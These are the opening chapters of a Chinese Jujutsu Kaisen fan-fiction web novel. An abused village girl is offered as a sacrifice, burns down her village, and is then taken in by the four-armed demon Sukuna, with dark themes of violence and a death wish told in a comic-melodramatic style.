《我是咒回万人迷》
1. 妖怪的祭品
“伊田奈,去把这些衣服洗了,早点洗完早点回来。”枯瘦矮黄的女人叉着腰,一双精明的眼睛闪着亮光,“要是我从别人口中听到你在偷懒,到时候你别想有好日子过。”
女人身上穿着的衣服材质一般,是普通的粗麻布衣裳,个子不高,说话的声音却十分锐利,甚至有几分刺耳。
伊田奈捡起堆在墙角,脏兮兮的麻布衣裳,用一只破木桶装了,拿起堆在门口的大木棒,面无表情,沿着蜿蜒崎岖的乡间小路,走到汩汩向东流的一条小溪下游。
小溪蜿蜒向东,上游水源可以饮用,下游水源用来浣洗衣物,小溪溪水清澈,能够看见天空的倒影,看见水中奇形怪状的鹅卵石,毛茸茸的青苔,飘摇无依的水草。
“嘿嘿,丑八怪!丑八怪!”几个调皮的小男孩手捏石子,砸到伊田奈背上,头上。
额头流出热热的液体,伊田奈伸手,手上糊了一手血。
流血了。
小孩发出嘎嘎的笑声。
“哈哈哈,丑八怪流血了!丑八怪流血了!”
“活该!谁让她长的这么丑的!”
“哈哈哈哈……”
天真稚嫩的脸上洋溢糜烂的笑容。
伊田奈放下衣服,眼光随意一扫,捡起小溪旁的大石头。
石头很沉,伊田奈摇摇晃晃地抱起来,丢向离她最近,笑得最大声的小孩。
砰——
石头落地,砸在小孩脚边。
“你疯了!你竟然敢砸我?我可是男孩!”
他吓了一跳,但没有离开,反而趾高气扬地继续骂骂咧咧。
差一点……
伊田奈可惜,低头四处搜寻其他石头。
一块接一块丢向那群恶作剧的孩子。
有的砸空了,有的刚好砸到背上,叫上。
小孩子们一开始气势昂扬,如今个个萎靡不振。
洗衣服的其他女人被哭声吸引,瞪大眼睛,非常惊讶。
“孩子,我的孩子!”
有在场小孩的母亲,激动上前,护住额头流血的孩子。
“伊田奈,你疯了!竟然敢砸人!”
“我告诉你,这件事情必须给我们一个说法!”
“疯女人!你这个疯女人!”
“这种人必须好好惩罚,简直无法无天!”
……
四周声音嘈杂,小孩,女人,老女人,对着她骂骂咧咧。
伊田奈隐约听到“女人”二字。
呵,女人……
伊田奈冷笑两声,看了眼溪水水面。
一张瓜子脸,两颊深深陷进去,面皮黄紫,头发毛躁干枯,额头上一个大大的血窟窿,正汩汩流血,脸上,下巴上,衣服上,身上穿着的衣服肥大,布料粗糙,像是套了个麻袋。
丑的出奇。
瘦的出奇。
矮的出奇。
什么女人,明明就是一个营养不良的孩子。
伊田奈眼光逐渐黯淡,冷若寒霜。
“十里八乡都是一个地方的人,逃跑跑不了几步就要被什么抓回来,淹死太遭罪,水又凉又冰,简直是酷刑,撞死死不了白白撞,咬舌自尽更不可能……”伊田奈低声喃喃,“傻逼世界,究竟是要干什么……”
“这丫头在说什么?”
村民们从来没有听过的陌生东方语言。
眼神冷漠的伊田奈。
“伊田奈这丫头以前也是这么不尊敬师长?”
“管她从前怎样?谁家有那闲情关心一个女娃子,必需得去找她爹娘!不然我家孩子的伤可怎么办!”
“对对对!不能让这家伙破坏了整体氛围!”
“我支持!”
“我也是!”
一群人浩浩荡荡,押着伊田奈回去。
伊田奈回头:“我的木桶和衣服。”
女人不可能让她丢掉这些最珍贵的物件。
“我来。”
一个中等个人,有些壮的女人抬起地上的衣服,木盆。
伊田奈放心,道:“我会走,不用你们管!”
无人理会。
她被押着回了家。
女人一见这么多人,惊呆了。
“怎么回事,究竟是怎么了?”
小孩气势汹汹解释了事情的来龙去脉:“我们几个好心想要帮伊田奈姐姐洗衣服,谁知道她竟然发疯,丢石头打我们!你们说是不是?”
旁边的其他小孩眼睛对眼睛,转来转去,纷纷附和。
地上的几个都是流血的哥儿。
女人放下针线,二话不说,走到伊田奈面前,抬手便是一耳光,“你个臭裱子,谁让你动手的?”
这一巴掌力道极大,伊田奈脸上很快浮现红肿的指印,脸上像是要炸开,密密麻麻的疼痛纷涌而至。
喉咙里闷闷的,大脑一片混沌,伊田奈觉得恶心,呕吐出一大口血。
女人没有停下,接着又扇了好几巴掌,力道一点都没低,倘若不是伊田奈身后有人抓住,只怕早已被扇飞出去。
伊田奈的脸肿的像猪头,鼻子,嘴角,衣服上全是血。
身后抓住伊田奈的两个女人见女人停下,跟着放手,伊田奈像团烂泥,栽倒在地上,鼻子和嘴里流出的血,和泥土混杂在一起。
如同草芥,又如同浮萍,飘摇无依,什么都抓不住。
女人赔笑:“教养不周,各位放心!我这就给这死丫头老老实实关上几天,什么东西都不给她吃!看看她下次还敢不敢!”
说吧,女人拎鸡崽似的拎起伊田奈的衣领,伊田奈像是一团烂肉,一团被衣服包裹住的烂肉,轻飘飘的悬在空中。
流血的地方此刻粘着泥土,肮脏,卑贱,她像是一条死了的鸡,摇摇欲坠。
女人走到柴房,随意把伊田奈丢到地上。
啪嗒一声,又是一阵巨痛。
女人从□□里掏出柴房钥匙,开锁,拎起伊田奈衣角,重重丢进去,麻利锁好门,拔下钥匙。
女人:“各位,我这交代够意思了吧?放心,这三天都不会让这丫头出来!”
“这丫头不会死在里面吧?”
“管她死不死的?敢对男仔动手,死一万次都不够!”
“是啊,也是长见识了,我活这几十年还没见过这么猖狂的细伢子!就该收拾收拾!”
“哼,也不知道是怎么教出这样的细伢子!”
男孩们个个欢天喜地,得意洋洋的拍手离开。
喧嚣声也越来越远。
伊田奈意识模糊,心里憋着一口气,胸中燃着一团火,却没有宣泄口。
想要爬起来,身上一丝力气都没有。
伊田奈十指抓紧,却是无用功。
瘦弱无力的身体要怎么反抗力气大到出奇的女人?
伊田奈嗤笑一声,嘴里是血和烂泥的味道。
“死亡开局吗?有意思……”微弱的声音在黑暗的,没有一丝光亮的柴房响起。
一指开外的蚂蚁晃动触须,似乎听到了什么动静,又好像没有,继续摇头晃脑的移动。
伊田奈在不见光的屋子里呆了整整三天。
女人只给她送过两回水,第一天和第三天,满满的一竹筒水。
要是平时,伊田奈绝对看都不会看,但是现在,不一样了。
伊田奈把竹筒里的水喝的一干二净。
被丢进来的当天晚上就发了高热,遍体生寒。
烧了一天一夜,终于好转过来。
那个时候,伊田奈比谁都想要活着。
起码不能是现在死。
第三天,钥匙转动锁芯的声音传来,门开了,阳光透过门缝照进来。
女人没有放下竹筒就走,站在门口,“你可以出来了。”
伊田奈爬起身,脚步空虚无力。
走一步,脚上颤动一分。
久违的光线照在脸上,伊田奈下意识遮住眼睛,无法适应强光。
女人嘲讽:“贱丫头命就是大!来吃东西。”
属于伊田奈的清粥小菜摆在桌上,汤里可以清楚数出一共有几粒米。
另外三人的粥却稠多了,吃的还是带了点油水的炒菜。
伊田奈没有像以往一样,大吵大闹或是悄悄抢走属于他们的饭菜,端起自己的粥,安安静静地喝,没有一句多余的话。
伊田奈喝完,起身,“我去割草了。”
女人露出满意的表情。
男人和一旁的小男孩置若未闻,仿佛伊田奈这个人从未存在。
一连好几天,伊田奈都很乖。
小男孩们丢石头砸她她只是慌张地往一边躲,一点都不敢还手。
早出晚归,是家里最勤快的人。
做的事情不少,吃的东西不多。
她又变成了从前的伊田奈。
女人很高兴,逢人就说:“细伢子犯了错就应当好好整治,收拾收拾就老实了。”看她家那个,她就是这样收拾的,把她身上的脏东西都赶走了。
别人也都跟着夸奖。
伊田奈默而不语。
山村,村长家。
枯瘦的女人和瘦削的男人讨好的坐在村长家里。
一道在村长家里的,还有其他几个家里有女儿的男人。
“听另外几个村子里的村长们说,最近附近新来了一位妖怪,这位妖怪的脾气很不好,已经伤了不少人,他们这几个村子都已经献上了祭品,咱们村子也要挑一位童女作为祭品,先给这位妖怪,表示我们的尊敬。”
“作为补偿,村子里会出一笔费用,来补偿这位祭品的家人。”
村长混浊的声音刚刚落下。
伊田奈的母亲当先开口:“村长!我家的可以!我家的可以!”
其他家庭也都争先恐后地举手,表示自己家里有适龄的孩子能够作为祭品,一时间,吵吵嚷嚷,宛如菜市场一般热闹。
“村长,我家的也可以!我家的细伢子也到年纪了!”
“对啊!我家那个细伢子可勤快了,手脚麻利!是干活的好手!”
“你家那丫头能有我家的勤快!”
大家争先恐后地先要把自家的细伢子献祭给妖怪。
最终,伊田奈的母亲赢过了所有人。
村长是她的姑父。
其余人纷纷遗憾离场,“真是让那孩子捡了大便宜。”
“谁说不是呢!”
“羡慕也没用,谁让村长和他们家里有关系。”一个村民吐槽。
“村子里补偿给祭品的费用可不少了,起码两个细伢子才能有那么多钱。”另一个村民羡慕。
“不过她家就这么一个细伢子了,下次再有这种好事,也轮不到他们了。”
“真希望早点再找一个祭品,我还在发愁我家那个呢,每天吃那么多,诶……”
有人欢喜有人愁。
落选的村民遗憾离家,伊田奈的母亲和父亲则是欢喜地留在村长家。
“姑父!今天晚上叫上姑母到我们那儿吃饭!”伊田奈的母亲咧开嘴角,喜笑颜开。
“吃饭就不用了,最近看好那孩子了,虽说现在正常了,但以防万一,还是直接锁起来。”
“听您老人家的,姑父!”
伊田奈洗完衣服,还没到家,就看到了远远站在家门口的母亲。
女人站在原地东张西望,看到伊田奈,接过伊田奈手里的衣服,反手扯起伊田奈的衣领,把她丢进柴房,锁起来。
伊田奈吃痛从地上爬起来,叫嚷:“为什么要关我?我没有做错任何事!”
女人:“你被选做祭品了,好好待着吧。”
伊田奈:“祭品?什么祭品?”
女人:“你不用问那么多,时间到了你自然就知道了。”
任凭伊田奈怎么叫喊拍门都无人应答。
“丑八怪,要去当祭品去了!你运气还真是好!”
“哼,要不是村长和你娘有关系,怎么轮得到你?”
“哈哈哈,以后村子里再也没有你这个丑八怪了!”
被扔了石头的几个孩子记恨伊田奈,每天都会变着法找麻烦,听说伊田奈要被选为祭品,一时间幸灾乐祸,趁伊田奈家里没人过来嘲笑。
伊田奈侧类旁敲,这才知道祭品是选取童女献给妖怪。
类似于活人祭祀,不过不是将活人变成死人,而是把她放到妖怪住的地方,任由妖怪处置。
伊田奈:“原来如此。”
是夜。
猫头鹰咕咕叫声从树林传来,蝉鸣草动,风声作响。
一位村民家中,男村民迷迷糊糊睁开眼睛,尿意翻涌,起身推门,找地方解决。
恍惚之中,男村民好像看见了一抹黑色的影子,迷糊的精神顿时清醒。
“谁在那?”
没人答应。
男村民提好裤子,朝前走去,只见地上不知何时多了一团湿润的树叶。
“奇怪,怎么感觉白日里没见过?”男村民挠头,“好像墙壁也
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有点湿了。”
一只老鼠从墙角飞快钻出,很快消失不见。
“原来是老鼠,我还当是什么呢!”男村民很快将树叶和墙壁的事情抛之脑后,困意上涌。
男村民打了个哈欠,迷迷糊糊回房,继续歇下。
缝隙处,清瘦模糊的侧脸缓缓转出,眼神充满阴鸷狠辣,没有一丝情感。
伊田奈手中提着木桶,桶中盛满了黑色液体。
“还好没被发现。”伊田奈小声,“只差一点了。”
月出东方,村民们睡觉的点,伊田奈从柴房爬出来。
为了提防第二次被关,伊田奈出来以后想方设法在柴房挖了个洞,与外面相连。
洞不深,小小一个,伊田奈身形瘦弱,足够通过。
房间内用柴火做掩护,房间外用杂草堆。
女人从不主动捡柴,这些工作都是伊田奈处理。
也幸亏如此,否则挖洞的计划定然不可能成功。
伊田奈顺着偷挖的洞钻出去,直奔目的地。
——百姓口中的“不祥之地”。冒黑色液体的地方。
黑色的液体味道奇臭臭,无法饮用,上一个饮用它的村民没过多久便失声而死,有时夜里,还会发出幽幽鬼火。
村民们认为这里是妖怪的地盘,是罪恶的象征,没人敢靠近。
伊田奈可不信什么吉不吉祥,也没人告诉她什么是吉祥,什么是不吉祥。
她只知道第一次误入这个地方,四周都是沙石,沙石堆里汩汩冒出黑色的粘稠液体。
石油!
价值千金的石油竟然会如此临近一个破败的村庄!会出现在这么一个偏僻的地方。
哗啦啦——
倒完最后一滴石油,伊田奈搓燃火引子。
一条黑色的线蜿蜒向前,环绕村庄,晒得枯败的枝叶被石油淋得通体漆黑。
月亮高悬,繁星点点,照亮伊田奈手中的火光。
紧握的手指松开,火苗掉在地上,掉在黏糊糊的石油里。
滋滋——
细小的火星子溅出,闪烁亮光,起先只是一个小点,而后小点越来大,范围越来越广,变成一条长龙,不断向前涌去,刹那间点亮整个村庄。
火龙吞噬了整个村庄。
伊田奈勾了勾嘴角,毫不犹豫转身离开,爬上离村庄最近的山坳,俯视村庄,眸中倒映滔天火光。
“嗯……什么味道?好香……”
“谁家大半夜做饭……”
“不对!怎么好像有什么东西再烧?”
“着火了!着火了!”
“大家快起来啊!着火了!”
熙熙攘攘的叫喊声从房门外传来,村民们纷纷起身,抱住家里的儿子往外冲。
一出门,发现所有房子都烧了起来。
木头建造的房子本来就容易烧,淋上石油,晒干的树叶作为引子,更是一点即着。
整个村子陷入火红色的焦虑之中。
伊田奈在山坳顶上寻了课树,坐在树枝上,直勾勾盯着山村,眼中倒映滔天烟火。
片刻,伊田奈的嘴角扯了扯,一抹笑容浮现在面上。
“有意思。”
女孩缓缓从树枝爬下,留下瘦小的背影。
妖怪的领地意识很强,除了祭品,其他人要慎重踏入妖怪的领地,会有被误杀的风险。
伊田奈已经踏入这座山头快一个下午,都没有被杀掉。
太阳逐渐靠近西边,昏黄的阳光洒在山上,到处都金灿灿的。
上山的路上大多都是一些灌木,倒也还算平坦,没有什么陡峭的,令人害怕的地势。
伊田奈随手摘了个野果,扔进嘴里咀嚼。
这果子是公认的能吃的东西,如今遍布山头却没有人采摘。
这妖怪当真这么恐怖?
伊田奈一边走一边问路,终于找到妖怪的领地。
还以为踏入就会被杀,没想到竟然活了那么久。
不知道妖怪究竟长什么样子。
香甜的汁水在嘴里迸发,伊田奈舒服的眯了眯眼睛。
这一路上,只要一提到妖怪,路边的村妇孩童顿时变色,寻这个妖怪的地盘甚是困难。
又走了大约半个小时,伊田奈终于出现在红色房子的门口。
伊田奈表情痛苦,大口喘气,终于在太阳落山之前成功上山!
面前的房子一共有三间,三间房子紧紧挨着,围成一个缺了一笔的“口”字。
房子中间有一棵大树,树叶茂密,枝干遒劲有力,两个伊田奈伸手抱着都围不过来。
伊田奈正对房子。
传说中的妖怪大人还没有出来。
“都进入到妖怪的地盘了,怎么妖怪还不出来。”伊田奈低声喃喃,她死之前可得看看传说中的妖怪究竟长什么样子,是不是人类的形状,要是见不到,会带有遗憾的死去。
她不能带着遗憾死去,起码要看一看传说中妖怪的样子。
打定主意,伊田奈开始作死。
“妖怪大人!传说中的妖怪大人!我来送死了,快来一口吃掉我吧!”伊田奈两只手像喇叭似的围在嘴边,高声叫喊,“快出来吃掉我!”
中气不足的女声在空中回荡,声音不大,但是语气带着浓浓的作死意味。
听起来让人莫名不爽。
正中央的房间冒着森森寒气。
正在沉睡中的男人不耐烦的皱了皱眉。
他单手撑在额边,眉头拧紧,听到院落中的喧嚣声,一直紧闭的双眼忽然睁开。
“真是胆大妄为的无知人类,呵,没有计较你在我的领地上撒野,就这样放肆吗……”
下一秒,男人闪现到院落中。
“妖怪大人!……”女孩还在叫。
宿傩站在女孩身后,在看到女孩身高时恍惚了一瞬,随即面色如常。
只有他小腿一样高的女孩子穿着破旧的衣服,像套了块破麻袋,衣服寒碜,头发,脸蛋同样寒碜,一头杂草毫无章法可言,脸上深一块浅一块的黑色污垢。
手上脚上同样,浑身上下没有一处干净的地方。
“喂,你想死吗?”带着阵阵寒气的沙哑声音从身后传来,像是黏腻的毒蛇攀爬在耳畔。
伊田奈起了一身鸡皮疙瘩。
“谁……谁啊……”伊田奈转过身,身后空无一人。
“不是一直在说妖怪大人吗?怎么,现在倒是没有胆子叫了?”声音带着幽幽的笑意和嘲讽。
2. 赴死
“咳咳咳……”强烈的咳嗽声从少女口中传出。
脖颈处一圈圈红色的印记昭示着男人蛮横的力道。
即便是在面对一个柔弱、无助的人类,即便对面只是一个还未成年的女孩,在男人眼中不过是一伸手,便能扭断的木偶。
不,这些生物连木偶都算不上。
绝对的实力悬殊。
伊田奈毫无还手之力,双腿一开始受惯性影响,不住在空中扑腾,到后来,伊田奈咬牙挺住,努力睁开眼睛。
清凉的眸子紧紧盯住这个轻而易举握住她脖颈的男人。
粉色的头发高高漂浮在空中,风吹过一抖一抖的。
这个妖怪有着人的形态.
——怪异的,人的形态。
一张不算对称的脸,每一面各有两只眼睛,眼神薄凉,不带有一丝情绪,散发丝丝寒意,脸上还有奇怪的纹路,眼角,下颚,脖子上似乎也有。
握住伊田奈脖颈的是一只手,除了这只手外,还有三只手。
三只手如无其事地插在宽大衣裳的口袋里。
“呵,你这家伙,胆子果然够大。”带有丝丝笑意的男声传来。
伊田奈闭上眼,嘴角浮现一抹微笑,享受生命的流失。
终于要离开这个操蛋的世界了。
突然,脖颈处一空,那只大手不知何时收了回去,伊田奈跌坐在地上,捂住脖子大声咳嗽起来。
高大的男人俯下身,阴森可怖的盯着面前的小鬼:“喂,你在笑什么?”
伊田奈连续咳嗽了好几声,面色胀红,沙哑着声,含怒,难以置信,仰头朝妖怪骂去:“都掐成这样了你还不把我掐死?”
明明只差一点,伊田奈就能原地驾鹤西去,只差一点!
男人漫不经心,“你还没有回答我的问题,为什么笑?”
伊田奈离死亡只差临门一脚,恨得咬牙切齿:“我笑不笑和你有什么关系,你快把我掐死啊!你不是妖怪吗?问那么多问题干什么?”
奇怪的发音方式,从伊田奈一开口,宿傩就已经知道了,但宿傩还是听懂了她的意思。
“小鬼,回答我的问题。”
一阵狂风呼啸而过,直直碾过伊田奈的五脏六腑 。
心脏上包裹了一只手,一直粗糙有力的大手,大手随意舞弄着那团脆弱的,不堪一击的玩物。
“现在,能回答我的问题了吗?”
汗水顺着两颊滑落,到下巴上,一滴一滴,顺着下巴流淌。
伊田奈对上妖怪的两双眼睛。
粉红色的眼眸写满了嘲弄,玩味,取笑伊田奈的自不量力。
伊田奈右手紧紧攥在心口,左手撑在地面,“因为我要死了,所以开心。”
面对这个玩弄他人于股掌之间的人,伊田奈没有一点好脸色。
“哦?”男人眼睛眯起,四颗眼珠同时转动,“要死了?所以高兴?”
男人左手撑住下巴,“人类会因为死亡而感到高兴?”
像是听到什么天大的笑话,男人哈哈笑出声来。
他捂着笑出眼泪的眼睛,玩味的看着伊田奈,“人类的女孩,你知道我多少年没有听到过这样的笑话了?”
“一些怕死的人,会假装自己不怕死,以此博得我的同情,吸引我的兴趣,得到我的怜悯,”宿傩陷入回忆,嘴角带着狰狞的笑,“但是到了最后,这些人无一不是被我杀死了,拧断他们的脖子,对我而言,不过是弹一弹手指的事情。”
宿傩注释伊田奈的表情,仔细盯住,不错过一丝一毫。
很可惜,脏兮兮的小孩身上没有一丝屈服、软弱。
伊田奈:“……那你赶紧杀了我,拧断我的脖子,最好让我魂飞魄散。”她提高音量。
似乎当真做好了死掉的准备。
宿傩抬眸,饶有兴味地欣赏伊田奈的表现,“你和他们不一样,我倒是想看看,你究竟能坚持到什么时候。”
伊田奈警觉:“你什么意思?”
宿傩:“你不是已经明白我的意思了?”
伊田奈摇头:“不,我不明白,你还是赶紧杀了我吧!”
宿
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傩笑着说:“我想取性命的人,没人能从我手上活下去,我想要留下来的人,也断然没有死过去的道理。”
“除非我死了,否则这条规矩会一直保留下去。”
“牛A……”伊田奈竖起大拇指,吐了一句国粹。
宿傩眼神疑惑:“你在说什么?”
说你有病!
伊田奈想要勇敢用这几个字大声开麦,骂一骂这个嚣张的不知天高地厚蛮不讲理的妖怪,但不敢。
秒怂。
伊田奈自己就是一个神经病,没想到传说中的妖怪竟然也是一个神经病。
大千世界,无奇不有。
伊田奈:“既然妖怪大人想要我这个卑微得一文不值的人类活下去,那我就勉为其难地活下去吧。”什么时候要是想死了伊田奈可以自行了断。
宿傩像是看穿了伊田奈心中所想,“要是被我发现你不经过我的同意就这样死掉,我会让你生不如死。”
伊田奈愤怒。
伊田奈无力呐喊:“你就对着一个孩子说出这些威胁的话!”你真不要脸!
“呵,你不是说了,我是妖怪。”宿傩嘴角上翘,饶有兴味地盯着伊田奈,“你的胆子很大。”
伊田奈一拳打在棉花上,没有任何作用。
脖子处的红痕十分显眼。
刚刚才受到一场惊吓,伊田奈身心受到了巨大的摧残,脸上和身上黏黏乎乎。
“有水吗?洗把脸。”伊田奈问他。
宿傩四只手齐齐揣在兜里:“没有。”
伊田奈向四周看去,这座山的东北方向有条河,小河潺潺,有水源。
天色已经昏黑。
山上有四只手的妖怪,山下不知道会有几条腿的妖怪。
伊田奈走上前,问宿傩:“妖怪大人,你是不是要留下我的性命?”
宿傩:“干嘛?”
伊田奈:“可以麻烦妖怪大人陪我到下面的小河吗?我现在这副样子简直就是脏了妖怪大人您的眼睛!”
宿傩语气慵懒:“你不会自己去?”
3. 病患
伊田奈:“大人,我今天爬了一天的山路,已经没有力气了!”
“要是大人您嫌弃的话,不如直接杀了我!我实在受不了了!”
“呵”宿傩闷哼一声,“罢了,瞧在你这次运气好的份上。”
刚刚掐在伊田奈脖颈处的右手再一次从兜里掏出来,轻而易举地拎起伊田奈身后衣服的一角。
伊田奈顿时悬空,还没看清发生了什么,下一秒,就被宿傩扔到地上。
“诶哟!”屁股怕是被摔成五瓣了。
伊田奈痛苦的从地上爬起来,低声喃喃,“还好不是水泥地板,是泥巴地,真是服了……”声音细弱游丝,不凑近仔细听,根本就听不见。
宿傩听力非比寻人,伊田奈所说的话一字不落全都听得一清二楚,
“你又在说刚刚说的话了。”
宿傩的声音轻飘飘的落下来,伊田奈吓了一跳。
伊田奈:“我只是随便嚷嚷而已,没说什么,妖怪大人。”
这一次,宿傩没说什么,轻轻一跃,落到一棵大树上假寐起来。
伊田奈不敢在和傻逼妖怪说话,看样子,妖怪连她洗漱都要监视。
真是变态。
伊田奈一记眼刀甩过去,龇牙咧嘴,一拳挥出去。
宿傩突然睁开眼睛,四支红色的眼睛写满嘲弄。
伊田奈拳头顿时松开,在空气中来回扇扇,“也不知道是什么东西刚刚在这里飞来飞去,可真是奇怪。”
宿傩淡淡一瞥,阖上眼。
伊田奈不敢再有小动作,几步走上前,来到小河边上。
月亮已经悬挂在天空中,皎洁的月光亮亮的,照亮了小河、河畔。
没有光污染的月亮亮的出奇,就像是一盏续航能力超强的大台灯。
天上的星星一闪一闪,好像近在咫尺,伸手轻轻一碰便能碰到。
伊田奈朝河水里看去,水面中的女孩脸上堆满脏兮兮的污渍,头发像杂草,只剩下亮晶晶的眼睛,经历一天地奔波,看起来像厉鬼一样。
伊田奈叹了口气,往小河边上一看,到处都是皂角草。
皂角草绿绿的,有两瓣圆圆的的叶子,个头不高,清洁能力却很强,可以用来洗澡洗脸洗衣服。
如今用来清洁脸上这一堆瓷粉,正好合适。
伊田奈很有技巧的从皂角草的中部往上折,手上顿时多了一把绿油油的茎叶。
用力把茎叶在手中搓开,零星的泡沫冒出来。
伊田奈认真把泡沫抹在脸上,把脸洗得干干净净。
脸上厚厚的黑色污渍搓洗的干干净净,露出一张瘦黄的脸颊,向内凹进去,瘦得只剩骨头,脸上还有杂七杂八的伤口。
画面看得伊田奈心塞。
到了这个破世界那么久,一块肉都没尝过!
一块都没有!!!
还要当童工!!!
越想越气人。
伊田奈使劲朝水里呼扇好几下,无能狂怒,水声哗哗作响。
洗完脸。
伊田奈面临另一个问题——洗澡。
转过头,妖怪大人仍旧闭着眼假寐。
妖怪大人的身材在人类当中是很不错的,高大威猛,宽松的衣服遮挡不住对方流利的曲线,腰腹处隐隐能看见六块流利的腹肌曲线。
也不知道妖怪的本体究竟是什么。
确认自己没有任何值得妖怪图谋的地方,伊田奈三两下扒开衣服,侵入水中。
河水冰凉,漫过锁骨处。
伊田奈用肥皂草痛痛快快洗了个澡,身上换洗的衣服就一套,没办法洗,只能将旧衣套上.
伊田奈上岸,脚踩在岸上的石头上,往妖怪大人所在的方向瞧去,只见空荡荡的树干上什么都没有。
下一秒,妖怪大人出现在伊田奈五米开外,不屑地告诉伊田奈,“人类,你的动作很慢。”
妖怪大人的视线很冷漠,就好像在看一件死物,眼里没有任何欲望,只有数不清的嫌弃。
伊田奈赤裸着身体,愣在原地,双手下意识挡在胸前。
宿傩皱了皱眉:“你在做什么?以为我会对你感兴趣?”
伊田奈社死,嘴犟:“妖怪大人自然不会感兴趣,但是我比较害羞,妖怪大人能不能不要看着我。”
宿傩万分嫌弃转过身。
伊田奈麻溜穿好衣服,拍了拍宿傩, “妖怪大人,我好了!”
回到木屋,伊田奈对着三间房子发呆,房子黑乎乎的,没有灯,从外面开阴森森的。
四周没有一丝烟火气。
宿傩自顾自走进中间的屋子,没有管一边的伊田奈。
伊田奈几步上前,“妖怪大人,等等!我和你一起!”
小手拉住宿傩松松垮垮的衣袖下摆。
宿傩歪头,扯了扯袖子,伊田奈攥得很紧,没扯出来。
宿傩:“你在害怕?”
伊田奈点头:“对,不想和妖怪大人您分开。”甚至用上了敬语。
宿傩:“呵,你说谎话的本事倒是厉害。”
宿傩当然没有相信伊田奈的话。
他抬腿,走进房间。
宽大的房间内鬼气森森。
月光从窗户撒泄,照进房间,一张低矮的四角桌,一张榻榻米,还有两扇做装饰用的屏风。
“在找什么?”宿傩的声音冷不伶仃响起,伊田奈惊起,吓了一跳。
“是这个吗?”
一个头骨皲裂的骷髅头猝然出现在眼前,牙齿整齐,似乎还在笑。
“老天奶!”伊田奈女高音尖叫,缓缓转过头,只见门背后有一大堆这样的骷颅头,空洞的眼睛盯着伊田奈。
似乎在笑。
伊田奈跌坐到地上,两只小手紧紧缠绕在宿傩腿上。
妖怪的腿很结实。
伊田奈下意识点评。
“哈哈哈哈……”轻蔑的笑声从头顶传来。
宿傩随意扔掉手中的头盖骨,头盖骨落地,哐当作响。
宿傩:“真是无趣……”
宿傩一脚蹬掉伊田奈,轻蔑地走到房间里唯一的榻榻米处,坐下,一条腿盘在地上,另一条腿支撑在空中,欣赏伊田奈的窘迫。
卑微渺小的人类。
伊田奈仔细扫过一群骷颅头,确认里面没有一个带皮的带毛的,都是光秃秃的头盖骨,悬着的心才慢慢放下。
果然,这个妖怪果然也是个神经病。
伊田奈手肘撑在地面,狼狈爬起来,目光锁定在房间里唯一一张四角桌上,慢慢走过去,横躺在四角桌边上。
和宿傩隔了一张四角桌还有四角桌和榻榻米之间的距离。
房间的地板是木质地板,比起之前的水泥地稍微好上那么一点点。
现在正是夏季,伊田奈每天都热得想死。
没有被子,一点都不影响。
但是没有稻草,很不舒服
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。
明天一定要找点稻草铺满垫一垫,亏待了谁都不能亏待自己。
伊田奈呆愣注视天花板,闭眼就睡。
宿傩见伊田奈被一个骷颅头吓得跌坐在地,本以为这个人类女孩会流着泪哭喊着跑出去,却见她淡定起身,自己找了个地方睡觉,嘴角上扬,脸上浮起一抹笑。
他哈哈大笑:“有意思,有意思……”
神经……
伊田奈没在宿傩这个看起来病的不轻的神经病,放空思绪,今天累了一天,受了一天的惊吓,现在很困。
准确来说,每天都在进行体力劳动,每天到点了都困得不行。
不一会儿,均匀的呼吸声传出。
宿傩闭着的眼睛睁开,眼里闪烁着难以置信的兴奋光芒,他起身,走到伊田奈身边。
宿傩伸出一只手,在伊田奈眼前晃了晃,伊田奈没有任何反应。
手指在伊田奈脖颈处落下,伊田奈依旧没有任何反应。
只有均匀绵长的呼吸声。
“呵……”宿傩轻哼一声,“真是该死啊,这个妖怪都还没睡着,你就睡着了。”
“喂,人类,谁允许你比我先睡着的?”宿傩提高音量,叫了几声,躺在地上的伊田奈只是略微抬了抬眼皮,睡得和死猪一样,完全没有睁眼的意思。
宿傩想要一巴掌拍醒这个不知死活的人类,手已经悬在空中,却在目光不经意落到这个体型和他巴掌相差没多少的身体时停住。
“算了,要是一巴掌下去,你估计当真能如愿以偿。”
最后,巴掌还是没有落下去。
宿傩起身。
高大的身影在夜幕之中一闪而过,房间里就只剩下一个人类的女孩。
太阳从窗户照进地板时,伊田奈才悠悠转型。
伊田奈揉揉眼睛,第一时间朝榻榻米看去,榻榻米上什么都没有。
神经妖怪不在房间里。
伊田奈松了口气。
昨晚这家伙不知道抽什么风,大半夜扯着嗓子不知道嚷嚷什么。
还好她来之后每天运动量超标,睡眠质量随之提升,不然也不知道这个妖怪还要干什么。
房间里的骷颅头还是和昨天晚上看见的差不多,成堆成堆摆在门背后,咧着嘴和牙,眼神空洞。
光是看着,就有阵阵寒气滚滚而来。
伊田奈:“……还好没有收集带毛发的骷颅头癖好,不然我还真不能勉强够活了。”
到时候直接被恶心死。
神经的妖怪,神经的收藏癖好。
路过骷颅头时,伊田奈鞠了一躬:“冤有头债有主,各位要报仇抱怨的去找这个妖怪可别找我啊。”
伊田奈推开门,走到院子里,妖怪也不在院子里,除了中间这间房,旁边还有两间屋子。
伊田奈暂时没有偷窥这两间屋子的打算。
顺着昨天的路线到山下洗漱结束,伊田奈准备起身时,河里似乎有什么东西一晃而过。
伊田奈立刻转身,眼睛随着河水游走。
找到了!
是两尾条鲜活美味的鱼!!!
两条鱼儿在水里一动不动的,偶尔游几一下。
伊田奈下意识咽了咽口水,喉咙上下滚动,屏息凝神,大气都不敢多喘一下。
是鱼啊!!
那可是鱼!!!
从前在那个破村庄洗了那么久的衣服,一条都没看见过的鱼!!
4. 烤鱼
伊田奈小心翼翼向前走了两步,停在岸边,眸光紧紧注视水面。
两尾银色的鱼停在礁石边,一动不动,只有腮帮子一下一下喘气。
从来没有野外求生捉过鱼,但现在非常想吃!
非常想!
伊田奈吞了吞唾沫,嘴里酸溜溜的,脑子里全是烤鱼飘香的味道。
不能让鱼跑了。
只要小心一点,动作再快一点,应该就能捉到一条吧……
伊田奈小心翼翼,又往前走了几步,鱼儿似有所感,动了几下,一进一退。
人、鱼的距离一下拉近不少。
就是现在!
伊田奈迅速伸手,手堪堪划过鱼尾,滑溜溜的,鱼一下子出去了。
扑了个空。
伊田奈咬了咬牙,心痛无比,又试了几次,无一不是扑空。
捉鱼很艰难。
伊田奈从天亮捉到快天黑,终于摸到了一尾鱼。
伊田奈泪流满面,虔诚地抱着鱼上山。
夕阳西下,金灿灿的阳光洒落下来。
昨日今时,这时候的她还在想象妖怪大人的模样。
今日这个时候,伊田奈已经开始谋划怎样才能吃得更丰盛一点。
